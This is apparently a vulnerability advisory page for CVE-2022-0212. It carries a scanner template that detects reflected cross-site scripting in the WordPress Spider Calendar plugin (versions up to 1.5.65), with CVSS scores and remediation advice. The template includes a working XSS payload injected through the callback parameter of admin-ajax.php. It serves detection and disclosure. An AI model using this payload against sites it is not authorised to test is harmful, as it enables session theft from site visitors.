CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
36.8%
WorsPress Spider Calendar plugin through 1.5.65 is susceptible to cross-site scripting. The plugin does not sanitize and escape the callback parameter before outputting it back in the page via the window AJAX action, available to both unauthenticated and authenticated users. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
id: CVE-2022-0212
info:
name: WordPress Spider Calendar <=1.5.65 - Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
WorsPress Spider Calendar plugin through 1.5.65 is susceptible to cross-site scripting. The plugin does not sanitize and escape the callback parameter before outputting it back in the page via the window AJAX action, available to both unauthenticated and authenticated users. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
remediation: |
Update to the latest version of WordPress Spider Calendar plugin (>=1.5.66) or apply the vendor-supplied patch to fix the XSS vulnerability.
reference:
- https://wpscan.com/vulnerability/15be2d2b-baa3-4845-82cf-3c351c695b47
- https://wordpress.org/plugins/spider-event-calendar/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0212
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0212
cwe-id: CWE-79
epss-score: 0.00086
epss-percentile: 0.36517
cpe: cpe:2.3:a:10web:spidercalendar:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: 10web
product: spidercalendar
framework: wordpress
tags: cve2022,cve,xss,wpscan,wordpress,wp-plugin,wp,spider-event-calendar,unauthenticated,10web
http:
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=window&callback=</script><img/src/onerror=alert(document.domain)>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "spider_Calendar_theme"
- "</script><img/src/onerror=alert(document.domain)>"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a004730450220536da7a9178440ec3a7c2a4f36c1a896c04d6c64781c14608dd8095926256709022100f9bc7e59ea6dd62ec9e0f0ea9b0b5ba10d0c57827b69e40b9de46b13c99db5e4:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
36.8%